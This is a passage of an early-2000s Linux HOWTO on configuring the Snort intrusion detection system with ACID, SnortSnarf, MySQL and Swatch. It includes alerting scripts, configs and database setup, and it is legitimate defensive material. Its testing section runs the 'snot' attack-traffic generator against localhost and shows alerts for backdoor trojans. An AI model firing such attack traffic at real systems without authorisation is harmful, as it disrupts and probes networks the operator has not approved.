          if [`echo $i | /bin/grep -c "^eth"` = "1" -a \
              `/sbin/ifconfig $i 2>&1 | /bin/grep -c "inet addr:"` = "0" ] ; then
            /sbin/ifconfig $i down
          fi
        done
        echo
        ;;
  restart)
        $0 stop
        $0 start
        ;;
  status)
        status snort
        #status swatch
        ;;
  *)
        echo "Usage: $0 {start|stop|restart|status}"
        exit 1
esac
exit 0

4.2.3. /etc/snort/snort-check

This shell script is used to generate winpopups via smbclient or sending emails to given persons. It was inspired by Bill Richardson's script published on the snort homepage.

The winpopup part may be obsoleted by the smb output module introduced in snort 1.8 but I haven't tested it yet.

#!/bin/sh

# Script to be run from within swatch to send alerts in multiple formats
# inspired from script on www.snort.org by Bill Richardson
# extended to read a file called "hosts" with names of
# workstation to send a winpopup, syntax is the same as with snortd option -M
# Poppi, 02.05.2001

# Prerequisites:
# Samba set up correctly
# Change the following variables according to your system (for RedHat 7.x user it should be ok)

# hostfile holds the name of the file containing the workstation for winpopups
hostfile="/etc/snort/hosts"

# recipientfile holds the addresses of all recipients in a single file,
# seperated by newline
recipientfile="/etc/snort/recipients"

# if a recipient file exists
if [ -s "$recipientfile" ] ; then
  # generate the recipientlist with email adresses.
  for i in `cat $recipientfile` ; do
    recipients="$recipients "$i
  done

  echo "$*" | mail -s "Snort-Alert!!!" "$recipients"
fi

# if a hostfile exists, send winpopups
if [ -s "$hostfile" ] ; then
  for i in `cat $hostfile` ; do
    echo "Snort-Alert! $*" | smbclient -M $i > /dev/null 2>&1
  done
fi

4.2.3.1. /etc/snort/hosts

In this file you put in all the workstation names of the hosts which should get the snort message, one per line:

       ws001
       ws002
       ws003

4.2.3.2. /etc/snort/recipients

In /etc/snort/recipients you put in email addresses of recipients who wish (or are urged to ;) receive your snort alarms, one address per line:

       jane@internal.local.com
       henk@snort.info
       sandro@snort.info

If any of these two files is omitted then the corresponding feature is disabled.

4.2.4. Snort internal Statistics

Snort has the ability built in to print out some internal statistics. This can be achieved using the following command:

/bin/kill -SIGUSR1 <pid of snort>

or if you have more than one snort process running on the same machine and want to get info about all at once:

/bin/killall -USR1 snort

With either of these commands you get internal statistics in the following way in your syslog (/var/log/messages with RedHat):

Sep 29 07:51:48 ids01 snort[8000]:   ===============================================================================
Sep 29 07:51:48 ids01 snort[8000]: Snort analyzed 27316 out of 27316 packets,
Sep 29 07:51:48 ids01 snort[8000]: dropping 0(0.000%) packets
Sep 29 07:51:48 ids01 snort[8000]: Breakdown by protocol:                Action Stats:
Sep 29 07:51:48 ids01 snort[8000]:     TCP: 27152      (99.400%)         ALERTS: 0
Sep 29 07:51:48 ids01 snort[8000]:     UDP: 0          (0.000%)          LOGGED: 0
Sep 29 07:51:48 ids01 snort[8000]:    ICMP: 164        (0.600%)          PASSED: 0
Sep 29 07:51:48 ids01 snort[8000]:     ARP: 0          (0.000%)
Sep 29 07:51:48 ids01 snort[8000]:    IPv6: 0          (0.000%)
Sep 29 07:51:48 ids01 snort[8000]:     IPX: 0          (0.000%)
Sep 29 07:51:48 ids01 snort[8000]:   OTHER: 0          (0.000%)
Sep 29 07:51:48 ids01 snort[8000]: DISCARD: 0          (0.000%)
Sep 29 07:51:48 ids01 snort[8000]: ===============================================================================
Sep 29 07:51:48 ids01 snort[8000]: Fragmentation Stats:
Sep 29 07:51:48 ids01 snort[8000]: Fragmented IP Packets: 0          (0.000%)
Sep 29 07:51:48 ids01 snort[8000]:     Fragment Trackers: 0
Sep 29 07:51:48 ids01 snort[8000]:    Rebuilt IP Packets: 0
Sep 29 07:51:48 ids01 snort[8000]:    Frag elements used: 0
Sep 29 07:51:48 ids01 snort[8000]: Discarded(incomplete): 0
Sep 29 07:51:48 ids01 snort[8000]:    Discarded(timeout): 0
Sep 29 07:51:48 ids01 snort[8000]:   Frag2 memory faults: 0
Sep 29 07:51:48 ids01 snort[8000]: ===============================================================================
Sep 29 07:51:48 ids01 snort[8000]: TCP Stream Reassembly Stats:
Sep 29 07:51:48 ids01 snort[8000]:         TCP Packets Used: 27152      (99.400%)
Sep 29 07:51:48 ids01 snort[8000]:          Stream Trackers: 1
Sep 29 07:51:48 ids01 snort[8000]:           Stream flushes: 0
Sep 29 07:51:48 ids01 snort[8000]:            Segments used: 0
Sep 29 07:51:48 ids01 snort[8000]:    Stream4 Memory Faults: 0
Sep 29 07:51:48 ids01 snort[8000]: ===============================================================================

But remember: With versions prior to 1.8.3 you have to restart snort to get new statistics, so always combine the kill -SIGUSR1 with a snort restart if not using the actual version!

You first should have a look on the first 2 lines. If snort tells you that there are dropped packets you have to take a very close look on your configuration of the snort box itself not only (but including) the snort configuration.

E.g. stop all unnecessary services which are not vital for the box. And take a look on the output of the top command. If the idle counter is very low you should figure out which processes eat up all of your cpu time and eventually outsource the corresponding program packets. This is e.g. true when using ACID and the underlying database and snort on the same machine with less memory and/or cpu.

The other statistical data lines give you an overview of some of the preprocessors and their work. You should also have a look on the memory faults sections. If the number is not 0 you should have a look on your memory usage and eventually configure the preprocessors to use more memory (take a look to the appropriate section in /etc/snort/snort.conf).

Now a short script which I was inspired by Greg Sarsons to get snort's internal statistics, save them to a file and restart snort.

The statistics file will be archived to /var/log/snort/archive so you have to create that directory first ;)

#!/bin/bash
# Script to generate and extract snort statistics from syslog or given file
# generated after kill -USR1 <snort-pid>
#
# This script assumes that the pid is logged into the logfile!
# This can be obtained using  the following line in snort.conf:
# output alert_syslog: LOG_AUTH LOG_ALERT LOG_PID
#
# (c) Sandro Poppi 2001
# Released under GPL

echo "Starting gathering snort internal statistics. Please be patient..."

if [ "$1." == "." -o ! -e "$1" ] ; then
  # no or unexistent file given, using default
  log_file="/var/log/messages"

else
  # when using non-standard logfile location make sure snort uses this logfile
  # when sending signal USR1 else this script won't work!
  log_file="$1"
fi

# find out snort pids
snort_pid=`/sbin/pidof snort`

# get internal statistics for all snort processes
# not using killall to get already sorted output
for i in `echo $snort_pid` ; do
  kill -USR1 $i

  # sleep for 2 secs to let snort time to send statistics to syslog ;)
  sleep 2
done

# immediately restart snort after sending signal USR1
# this may be ommitted when using CVS version of snort after about 01.11.2001
# or any version from 1.8.2 or higher
/etc/rc.d/init.d/snortd restart

for i in `echo $snort_pid` ; do
  # process logfile

  filename=/var/log/snort/archive/snort.`date "+%Y-%m-%d"`.$i.log

  # check for existing file and rename it if existing
  if [ -e "$filename" ] ; then
    mv "$filename" "$filename.bak"
  fi

  egrep "snort\[$i\]:" $log_file > "$filename"

  # check if there are dropped packets using lines like
  # Oct 22 18:02:06 xbgh17183 snort[573]: dropping 0(0.000%) packets
  if [ "`egrep "dropping" $filename | awk -F "[ (]" '{ print $7 }'`" != "0" -a \
       "`egrep -c "dropping" $filename`" != "0" ] ; then
    echo "Snort's dropping packets!!! Take a look on the configuration and/or the system's performance!!!"
  fi

done

echo "Gathering snort internal statistics finished..."

4.2.5. Testing Snort

To test snort you should edit /etc/rc.d/init.d/snortd and make the interface listen on the loopback device lo. For people with a network card installed you can use eth0 instead but you have to use a second pc to run snot because no packet is sent over the interface if snot and snort are run on the same machine!

Probably the simplest way to test snort is to use snot which can be found on http://www.sec33.com/sniph/.

You have to have libnet installed for snot. Since on RedHat 7.x there is no RPM available you could use libnet-1.0.2-6mdk.i586.rpm from Mandrake Soft, which can be found on http://rpmfind.net/ and of course on Mandrake's site http://www.mandrake.com/. Most Mandrake RPMs could be used with no problem on a RedHat system. But be warned: Mandrake does not provide i386 RPMs so you can't use them with a processor less than an old Pentium P5. In such a case you have to get the sources from http://www.packetfactory.net/projects/libnet and compile it from scratch yourself.

To compile snot you only have to untar the tarball, cd into the snot directory and call make. If compilation exits without an error snot is ready to use, if not you are almost always missing some development packages.

To prepare snot you should first copy /etc/snort/snort.conf into the snot directory and cat one or more rule files to the end of the copied snort.conf using e.g.:

cat /etc/snort/backdoor.rules >> snort.conf

Then on one console you should call tail -f /var/log/messages, while on another you should try to run the tests.

Snot can then be called the following way assuming you used lo as the interface name in the snortd initscript:

./snot -r snort.conf -d localhost -n 5

With that command you tell snot to use the copied snort.conf, the destination is localhost and for not triggering too many alerts restrict it to a maximum of 5.

You'll probably get some messages saying ignoring additional parameters because snot can not handle yet the new parameters introduced in snort 1.8. Don't panic, just ignore the messages, snot works fine though.

In /var/log/messages you should now see some snort alerts, e.g.:

Sep 10 18:22:33 ids01 snort[1536]: <lo> GateCrasher access: 192.168.213.151:6969 -> 127.0.0.1:3170
Sep 10 18:22:33 ids01 snort[1536]: <lo> GateCrasher access: 192.168.213.151:6969 -> 127.0.0.1:3170
Sep 10 18:22:33 ids01 snort[1536]: <lo> GateCrasher access: 192.168.155.231:6969 -> 127.0.0.1:57580
Sep 10 18:22:33 ids01 snort[1536]: <lo> GateCrasher access: 192.168.155.231:6969 -> 127.0.0.1:57580
Sep 10 18:22:33 ids01 snort[1536]: <lo> Deep Throat access: 192.168.170.42:2140 -> 127.0.0.1:60521

If you get similiar alerts it's ok, if not please take again a look on your configuration until you get this far.

Now it's time to edit /etc/snort/snort.conf again and put in the correct value to the INTERFACE variable, restart snort and get a cup of coffee. You have deserved it!

4.3. Configuring MySQL

To allow Snort to send alerts to MySQL you first have to install MySQL. With most linux distributions there are MySQL packages available so you should use them. If not you'll probably have to compile and install it from scratch by downloading the tarball from http://www.mysql.org/. Take a look at the documentation shipped with MySQL to set it up.

When you have a running MySQL daemon (with RedHat after installing the RPMs run /etc/rc.d/init.d/mysql start) you have to initialize a snort database. This is documented in the next section.

Since there should be a password set for each account you'll have to use the -p option on the mysql commandline.

[root@ids01 /root]# mysql -u root -p
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 133 to server version: 3.23.32

Type 'help;' or '\h' for help. Type '\c' to clear the buffer

mysql>create database snort;
Query OK, 1 row affected (0.00 sec)

mysql> connect snort
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Connection id:    139
Current database: snort

mysql> status
--------------
mysql  Ver 11.12 Distrib 3.23.32, for redhat-linux-gnu (i386)

Connection id:          139
Current database:       snort
Current user:           root@localhost
Current pager:          stdout
Using outfile:          ''
Server version:         3.23.32
Protocol version:       10
Connection:             Localhost via UNIX socket
Client characterset:    latin1
Server characterset:    latin1
UNIX socket:            /var/lib/mysql/mysql.sock
Uptime:                 1 day 2 hours 6 min 21 sec

Threads: 14  Questions: 4272  Slow queries: 0  Opens: 58  Flush tables: 1  Open tables: 18 Queries per second avg: 0.045
--------------

mysql> grant CREATE,INSERT,SELECT,DELETE,UPDATE on snort.* to snort@localhost;
Query OK, 0 rows affected (0.00 sec)

mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)

mysql> exit
Bye

To generate the required table structure of the database use the create_mysql script which can be found in the contrib section of the original tarball or my RPM.

[root@ids01 /root]# mysql -u root -p snort < ./contrib/create_mysql

You'll have to add a userid/password pair for the database, remember to change xxxx to a password suitable for your environment!

[root@ids01 /root]# mysql -u root -p mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 148 to server version: 3.23.32

Type 'help;' or '\h' for help. Type '\c' to clear the buffer

mysql> insert into user (User,Password) values('snort',PASSWORD('xxxx'));
Query OK, 1 row affected (0.00 sec)

mysql> exit
Bye

Now add some extra tables for your convenience shipped in the contrib section of the snort tarball and my RPM using the command

zcat snortdb-extra.gz | mysql -u root -p snort

If you wish to use the archiving feature of ACID you'll have to create another database snort_archive (or any other name you prefer) exactly the same way as you defined the snort database.

From now on the database is ready to be used for logging with the database output module of snort which you could now activate in /etc/snort/snort.conf.

4.4. Configuring ADODB

ADODB is a required part for ACID. It delivers database connection support for PHP based programs like ACID.

Install ADODB in a directory available for your webserver. On a RedHat box this usually is /var/www/html/adodb/.

In ADODB version 1.31 there is a bug in adodb.inc.php which may still exist in newer versions. You'll have to change the path in line 40 to reflect your local requirements. It's vital to delete the command dirname() completely so that it looks like this:

 if (!defined('_ADODB_LAYER')) {
        define('_ADODB_LAYER',1);

        define('ADODB_FETCH_DEFAULT',0);
        define('ADODB_FETCH_NUM',1);
        define('ADODB_FETCH_ASSOC',2);
        define('ADODB_FETCH_BOTH',3);

        GLOBAL
                $ADODB_vers,            // database version
                $ADODB_Database,        // last database driver used
                $ADODB_COUNTRECS,       // count number of records returned - slows down query
                $ADODB_CACHE_DIR,       // directory to cache recordsets
                $ADODB_FETCH_MODE;      // DEFAULT, NUM, ASSOC or BOTH. Default follows native driver default...

        $ADODB_FETCH_MODE = ADODB_FETCH_DEFAULT;
        /**
         * SET THE VALUE BELOW TO THE DIRECTORY WHERE THIS FILE RESIDES
         * ADODB_RootPath has been renamed ADODB_DIR
         */
        if (!defined('ADODB_DIR')) define('ADODB_DIR','/var/www/html/adodb');

That's all what has to be done with ADODB.

4.5. Configuring PHPlot

After downloading PHPlot just tar the package into a directory visible for your webserver. On a RedHat box this usually is /var/www/html/phplot/. Nothing to configure here.

4.6. Configuring ACID

As stated before ACID needs a couple of additional programs installed to work correctly. While a database system like MySQL version 3.23+, a webserver with PHP 4.0.2+ support like apache with the PHP module mod_php and ADODB version 0.93+ are required, the graphics library gd version 1.8+ and PHPlot version 4.4.6+ are optional but recommended. Since apache, the PHP module and gd are almost always included and installed with any linux distribution they are not covered in this document.

For snort 1.8+ you'll need at least ACID 0.9.6b13. ACID is shipped with my RPM in the contrib section but may be an outdated version since ACID is developed rapidly. So you should always have a look at ACID's homepage if a newer version exists.

Install ACID into a directory visible to your webserver like /var/www/html/acid/.

In /var/www/html/acid/acid_conf.php you'll have to edit some variables to suit your environment.

First of all define the database type in the variable DBtype. Next define all alert_* and archive_* variables.

In ChartLib_path you define the path to PHPlot, in our case /var/www.html/phplot.

The last variable you have to define is portscan_file where you put in the complete path and filename of snort's portscan logfile.

All other variables should be sufficient for now. You can edit them to suit your needs.

Here's the config I use:

<?php

$ACID_VERSION = "0.9.6b15";

/* Path to the DB abstraction library
 *  (Note: DO NOT include a trailing backslash after the directory)
 *   e.g. $foo = "/tmp"      [OK]
 *        $foo = "/tmp/"     [OK]
 *        $foo = "c:\tmp"    [OK]
 *        $foo = "c:\tmp\"   [WRONG]
 */
$DBlib_path = "/var/www/html/adodb";

/* The type of underlying alert database
 *
 *  MySQL       : "mysql"
 *  PostgresSQL : "postgres"
 */
$DBtype = "mysql";

/* Alert DB connection parameters
 *   - $alert_dbname   : MySQL database name of Snort alert DB
 *   - $alert_host     : host on which the DB is stored
 *   - $alert_port     : port on which to access the DB
 *   - $alert_user     : login to the database with this user
 *   - $alert_password : password of the DB user
 *
 *  This information can be gleaned from the Snort database
 *  output plugin configuration.
 */
$alert_dbname   = "snort";
$alert_host     = "localhost";
$alert_port     = "";
$alert_user     = "snort";
$alert_password = "xxxx";

/* Archive DB connection parameters */
$archive_dbname   = "snort_archive";
$archive_host     = "localhost";
$archive_port     = "";
$archive_user     = "snort";
$archive_password = "xxxx";

/* Type of DB connection to use
 *   1  : use a persistant connection (pconnect)
 *   2  : use a normal connection (connect)
 */
$db_connect_method = 1;

/* Path to the graphing library
 *  (Note: DO NOT include a trailing backslash after the directory)
 */
$ChartLib_path = "/var/www/html/phplot";

/* File format of charts ('png', 'jpeg', 'gif') */
$chart_file_format = "png";

/* Chart default colors - (red, green, blue)
 *    - $chart_bg_color_default    : background color of chart
 *    - $chart_lgrid_color_default : gridline color of chart
 *    - $chart_bar_color_default   : bar/line color of chart
 */
$chart_bg_color_default     = array(255,255,255);
$chart_lgrid_color_default  = array(205,205,205);
$chart_bar_color_default    = array(190, 5, 5);

/* Maximum number of rows per criteria element */
$MAX_ROWS = 20;

/* Number of rows to display for any query results */
$show_rows = 50;

/* Number of items to return during a snapshot
 *  Last _X_ # of alerts/unique alerts/ports/IP
 */
$last_num_alerts = 15;
$last_num_ualerts = 15;
$last_num_uports = 15;
$last_num_uaddr = 15;

/* Number of items to return during a snapshot
 *  Most Frequent unique alerts/IPs/ports
 */
$freq_num_alerts = 5;
$freq_num_uaddr = 15;
$freq_num_uports = 15;

/* Number of scroll buttons to use when displaying query results */
$max_scroll_buttons = 12;

/* Debug mode     - how much debugging information should be shown
 * Timing mode    - display timing information
 * SQL trace mode - log SQL statements
 *   0 : no extra information
 *   1 : debugging information
 *   2 : extended debugging information
 *
 * HTML no cache - whether a no-cache directive should be sent
 *                 to the browser (should be = 1 for IE)
 *
 * SQL trace file - file to log SQL traces
 */
$debug_mode = 0;
$debug_time_mode = 1;
$html_no_cache = 1;
$sql_trace_mode = 0;
$sql_trace_file = "";

/* Auto-Screen refresh
 * - Refresh_Stat_Page - Should certain statistics pages refresh?
 * - Stat_Page_Refresh_Time - refresh interval (in seconds)
 */
$refresh_stat_page = 1;
$stat_page_refresh_time = 180;

/* Display First/Previous/Last timestamps for alerts or
 * just First/Last on the Unique Alert listing.
 *    1: yes
 *    0: no
 */
$show_previous_alert = 1;

/* Sets maximum execution time (in seconds) of any particular page.
 * Note: this overrides the PHP configuration file variable
 *       max_execution_time.  Thus script can run for a total of
 *       ($max_script_runtime + max_execution_time) seconds
 */
$max_script_runtime = 180;

/* How should the IP address criteria be entered in the Search screen?
 *   1 : each octet is a separate field
 *   2 : entire address is as a single field
 */
$ip_address_input = 2;

/* Resolve IP to FQDN (on certain queries?)
 *    1 : yes
 *    0 : no
 */
$resolve_IP = 0;

/* Should summary stats be calculated on every Query Results page
 * (Enabling this option will slow page loading time)
 */
$show_summary_stats = 1;

/* DNS cache lifetime (in minutes) */
$dns_cache_lifetime = 20160;

/* Whois information cache lifetime (in minutes) */
$whois_cache_lifetime = 40320;

/* Snort spp_portscan log file */
$portscan_file = "/var/log/snort/portscan.log";

/* Event cache Auto-update
 *
 *  Should the event cache be verified and updated on every
 *  page log?  Otherwise, the cache will have to be explicitly
 *  updated from the 'cache and status' page.
 *
 *  Note: enabling this option could substantially slow down
 *  the page loading time when there are many uncached alerts.
 *  However, this is only a one-time penalty.
 *
 *   1 : yes
 *   0 : no
 */
$event_cache_auto_update = 1;

/* Link to external Whois query */
$external_whois_link = "http://www.samspade.org/t/ipwhois?a=";

?>

You wonder why I use xxxx as password? Well, do you like your password to be available for everyone in the world? j/k >8)

When first calling ACID via your browser you'll get a hint that you have to install ACID support in the chosen database. Click on Setup and ACID should create the required entries in the database. If everything is set up correctly you'll get all informations which are currently in the database, normally nothing at this time ;)

Try to trigger some snort rules with snot (see section above) or e.g. nmap (see http://www.nmap.org/, a portscanner with many more capabilities) or nessus (see http://www.nessus.org/, a security scanner to find vulnerabilities of a system).

Now you should get all alarms right the time they happen with ACID.

4.7. Configuring SnortSnarf

SnortSnarf is another tool which analyses snort's logfile instead of a database.

Install SnortSnarf by taring it into a directory you like, I use /opt/SnortSnarf/.

Copy /opt/SnortSnarf/Time-modules/lib/Time to /opt/SnortSnarf/include/SnortSnarf/Time to make the required perl modules available for SnortSnarf .

Copy the following files to the webserver's cgi-bin directory (e.g. /var/www.cgi-bin/):

     /opt/SnortSnarf/cgi/*
     /opt/SnortSnarf/include/ann_xml.pl
     /opt/SnortSnarf/include/web_utils.pl
     /opt/SnortSnarf/include/xml_help.pl

If you would like to use the annotation feature with which you can create notes to an incident in SnortSnarf you first have to create the directory /var/www/html/SnortSnarf/annotations, copy /opt/SnortSnarf/new-annotation-base.xml to /var/www/html/SnortSnarf/annotations and call

./setup_anns_dir.pl -g apache /var/www/html/SnortSnarf/annotations

in /opt/SnortSnarf/utilities.

Check the rights in /var/www/html/SnortSnarf/annotations and make them look like this:

[root@ids01 SnortSnarf]# ll -a /var/www/html/SnortSnarf/annotations/
total 16
drwxrwx---    2 root     apache       4096 May 23 14:31 .
drwxr-xr-x    8 root     root         4096 May 23 14:17 ..
-rw-r--r--    1 apache   apache        478 May 23 14:31 new-annotation-base.xml

I created a wrapper script called /opt/SnortSnarf/snortsnarf.sh to get rid of the nasty @INC errors (someone with better perl know-how could give me a hint how to get rid of the errors, thx). I'm calling /opt/SnortSnarf/snortsnarf.sh via cron every hour from 6 am to 6 pm.

My crontab enrty looks like this:

# generate SnortSnarf statistics every hour from 6am to 6pm
0 6,7,8,9,10,11,12,13,14,15,16,17,18 * * * /opt/SnortSnarf/snortsnarf.sh

SnortSnarf is called to analyse five logfiles /var/log/messages*, put the generated HTML files into /var/www/html/SnortSnarf and make use of the annotation feature which is described above.

Here's the /opt/SnortSnarf/snortsnarf.sh listing:

#!/bin/sh
# wrapper for use with crontab to get rid of the @INC problem
# Poppi, 22.05.2001
cd /opt/SnortSnarf
./snortsnarf.pl -d /var/www/html/SnortSnarf -db /var/www/html/SnortSnarf/annotations/new-annotation-base.xml -dns -rulesfile /etc/snort/snort.conf -ldir "file://var/log/snort/" /var/log/messages /var/log/messages.1 /var/log/messages.2 /var/log/messages.3 /var/log/messages.4

Test SnortSnarf by calling snortsnarf.sh and take a look with your browser to /var/www/html/SnortSnarf/.

4.8. Configuring Arachnids_upd

Be warned: Automatic updating the rules without any encryption or athentication can create backdoors because the rules could be compromised to allow an attacker to be hidden from your IDS! So use that with care!

Another issue is that www.whitehats.com is often offline so no rules can be downloaded.

Untar the arachnids_upd package to a directory of your choice, I choose /opt/arachnids_upd/.

For snort 1.8+ you'll have to edit /opt/arachnids_upd/arachnids_upd.pl and change the filename of the file to download to:

     my $url = "http://www.whitehats.com/ids/vision18.rules.gz";   # Default URL.

Since Arachnids_upd makes use of wget it should be installed on your system and configured to work with your internet connection.

An example version of ~.wgetrc is shown here for connecting via a proxy server with user authentication:

     proxy_user = user
     proxy_passwd = xxxx
     http_proxy = <proxy>:<port>
     ftp_proxy = <proxy>:<port>
     use_proxy = on

Replace <proxy> with the name or ip address of your proxy and <port> with the port number the proxy uses. If you don't use a proxy you don't need any of these entries.

Again I created a shell script to get new rules, change the variable names of vision.rules to suite the definition in /etc/snort/snort.conf and restart snort for the new rules to take effect.

#!/bin/sh
# Script to generate the correct updates of vision.rules using arachnids_upd.pl
# Poppi 22.05.2001

# get new rules (requires ~/.wgetrc to be set up to access internet)
/opt/arachnids_upd/arachnids_upd.pl -o /opt/arachnids_upd/vision.rules -b /opt/arachnids_upd/rules.backup/ -c

# change the variable names according to the ones used in /etc/snort/snort.conf and copy the new file to the right place
cat /opt/arachnids_upd/vision.rules | sed s/EXTERNAL/EXTERNAL_NET/g | sed s/INTERNAL/HOME_NET/g > /etc/snort/vision.rules

# restart snort for the rules to take effect
/etc/rc.d/init.d/snortd restart

As arachnids_upd is also capable of deleting rules in vision.rules while downloading you can if you like edit /opt/arachnids_upd/arachnids.ignore and put in the IDS numbers which should be ignored.

     # Put the IDS numbers of the rules that should be disabled in here.
     # One number per line.

     # Examples:

     1      # Ignore IDS1
     2      # Ignore IDS2
     3      # Ignore ISD3

     # I think you get it now :)

4.9. Configuring Swatch

Swatch is an excellent package to take care for any logfile. It can be configured using regular expressions to alert if anything bad is logged in the logfile.

Swatch requires the following perl modules to be installed:

     perl-TimeDate
     perl-Date-Calc
     perl-Time-HiRes
     perl-File-Tail

Swatch is available as an RPM from http://www.lug-burghausen.org/projects/Snort-Statistics/swatch-3.0.2-1.noarch.rpm along with the source RPM I created http://www.lug-burghausen.org/projects/Snort-Statistics/swatch-3.0.2-1.src.rpm.

Swatch is configured via a single config file /etc/swatch/swatch.conf.

I'm shipping it with a demo swatch.conf containing two rules for snort messages and snort errors shown below along with some other examples from the original swatch package.

# global swatch.conf file
# * Poppi, 30.04.2001
# - initial version
#
# * Poppi, 08.06.2001
# - added error support; make sure to start swatch BEFORE snort ;)
#
# Poppi, 19.09.2001
# - added throttle for not getting too much alarms of the same incident

# normal snort messages (with PID)
# get rid of double alerts for 10 secs, e.g. pings
watchfor /snort\[/
        bell
        exec /etc/snort/snort-check $0
        throttle 00:00:10

# snort error messages could be with or without the [!] indicator
watchfor /snort: (\[\!\])* ERROR/
        bell
        exec /etc/snort/snort-check $0

The first rule is for getting all alerts generated via the output module alert_syslog, the second for getting any error messages snort generates at startup if anything went wrong (like errors in a rule file).

Both rules do ring the pc bell (well, if the sensor is used in a room without operators in sight this does not make much sense ;) and make use of the snort-check script described before to alert the given persons. In $0 swatch gives you the complete line of the logfile entry which triggered swatch.

Swatch has to be started prior to snort. Instead of generating an own swatch initscript with the correct chkconfig dates I chose to include it in /etc/rc.d/init.d/snortd because the dependencies of my use of swatch are such that I - again for me - decided to do that. I know that's not the "fine english way", and the swatch part can be put into an own initscript relatively easy. Maybe I will change this in the future.

Prev | Home | Next
Technical Overview |  | Security Issues


Questions and Answers

Snort-Setup for Statistics HOWTO
Prev

7. Questions and Answers

This is just a collection of what I believe are the most common questions people might have. Give me more feedback and I will turn this section into a proper FAQ.

  • Q:

    A:

Prev | Home
Getting Help |


Getting Help

Snort-Setup for Statistics HOWTO
Prev Next

6. Getting Help

In the end you might find yourself unable to solve your problems and need help from someone else. The most efficient way is either to ask someone local or in your nearest Linux user group, search the web for the nearest one.

But first of all try a look on http://www.snort.org/ and the snort mailinglists. The people out there helped me very much.

Another possibility is to ask on Usenet News in one of the many, many newsgroups available. The problem is that these have such a high volume and noise (called low signal-to-noise ratio) that your question can easily fall through unanswered.

No matter where you ask it is important to ask well or you will not be taken seriously. Saying just snort does not work is not going to help you and instead the noise level is increased even further and if you are lucky someone will ask you to clarify.

Instead describe your problems in some detail that will enable people to help you. The problem could lie somewhere you did not expect. Therefore you are advised to list the following information about your system:

Software

  • /etc/snort/snort.conf

  • /etc/swatch/swatch.conf if used

  • excerpt of /var/log/messages, but only filter the relevant entries

  • used Linux distribution or operating system and version

  • Software that shows the error (with version number or date)

And you can ask me directly. But please remember: I'm having a live beyond computers and my spare time is rare. I will almost always answer my emails but this can take some times. Also I'm subscribed to the snort-users mailinglist too so you reach me this way too.

Prev | Home | Next
Security Issues |  | Questions and Answers


Snort-Setup for Statistics HOWTO

Sandro Poppi

spoppi at gmx.de

v1.01, Feb 23, 2002

Revision History
Revision 1.01 | 2002-02-23 | Revised by: sp
- added "Setting up Linux for Snort" section - added mysql option -p - added some clarifications in mysql section
Revision 1.0 | 2002-01-01 | Revised by: sp
- first release version - moved to snort version 1.8.3 - changed RPMS to point to www.snort.org - added link for my snortd initscript - added warning about automatic rule update - added hint to IDSPM - changed for rule files to /etc/snort to reflect snort.org's RPMS - as allways: clarified some parts
Revision 0.05 | 2001-11-14 | Revised by: sp
- renamed HOWTO to Snort-Setup for Statistics HOWTO - added short statistic script which I was inspired by Greg Sarsons - clarified some parts and corrected some typos
Revision 0.04 | 2001-09-29 | Revised by: sp
- added section "snort internal statistics" suggested from Greg Sarson - added short statistic script contributed by Greg Sarson but commented it out to get a more general version
Revision 0.03 | 2001-09-19 | Revised by: sp
- added throttle option to swatch.conf - changed ACID to version 0.9.6b15 - added some comments in ACID section - added MD5 checksum section but commented it out
Revision 0.02 | 2001-09-16 | Revised by: sp
Some clarifications as suggested from Greg Sarsons, thx ;)
Revision 0.01 | 2001-09-04 | Revised by: sp
Initial version

This HOWTO describes how to configure Snort version 1.8.3 to be used in conjunction with the statistical tools ACID (Analysis Console for Intrusion Databases) and SnortSnarf. It also intends to get some internal statistics out of snort, e.g. if there are packets dropped.

Additionally a description of how to automatically update Max Vision's rules, some scripts which may be helpful and a demo swatch configuration is included.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. New Versions
1.4. Credits
1.5. Feedback
1.6. Translations
2. Structure
3. Technical Overview
4. Configuration
4.1. Setting up Linux for Snort
4.2. Configuring Snort
4.3. Configuring MySQL
4.4. Configuring ADODB
4.5. Configuring PHPlot
4.6. Configuring ACID
4.7. Configuring SnortSnarf
4.8. Configuring Arachnids_upd
4.9. Configuring Swatch
5. Security Issues
6. Getting Help
7. Questions and Answers
Next
Introduction


Introduction

Snort-Setup for Statistics HOWTO
Prev Next

1. Introduction

This document was written when I created an IDS sensor with Snort and using some statistic tools in order to help others implementing it. If at least one out there can be helped it has been worth the work.

Snort is an excellent Network Intrusion Detection System (NIDS) for various unices. The Snort homepage can be found at http://www.snort.org/. The version described here is 1.8.3 which was the actual version at the time of writing.

The statistic tools I will describe here are ACID, a database analysis tool for Snort which can be found at http://www.cert.org/kb/acid/ and SnortSnarf, a statistic tool for Snort logs downloadable from http://www.silicondefense.com/software/snortsnarf/index.htm.

Additional support packages are needed for ACID. These are a PHP4 capable webserver like apache (http://www.apache.org/), PHPlot used for creating graphs in PHP (http://www.phplot.com/) and ADODB used for connecting to databases with PHP (http://php.weblogs.com/ADODB/).

The description also includes which additional software is needed for ACID and how to configure along with some scripts I use including a changed version of the snortd initscript and a short chapter about swatch (http://www.stanford.edu/~atkins/swatch) a log file watcher script written in perl. I created a swatch RPM which can be found at http://www.lug-burghausen.org/projects/Snort-Statistics/swatch-3.0.2-1.noarch.rpm.

One hint for those interested in maintaining more than one snort sensor: You might take a look at IDSPM (IDS Policy Manager) at http://www.activeworx.com/ which is an application to maintain various sensors with different policies along with merging capabilities for new rules and a lot more. The only "nasty" thing is that it runs on W2K/XP and is not (yet?) Open Source.

1.1. Copyright Information

This document is copyrighted (c) 2001, 2002 Sandro Poppi and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

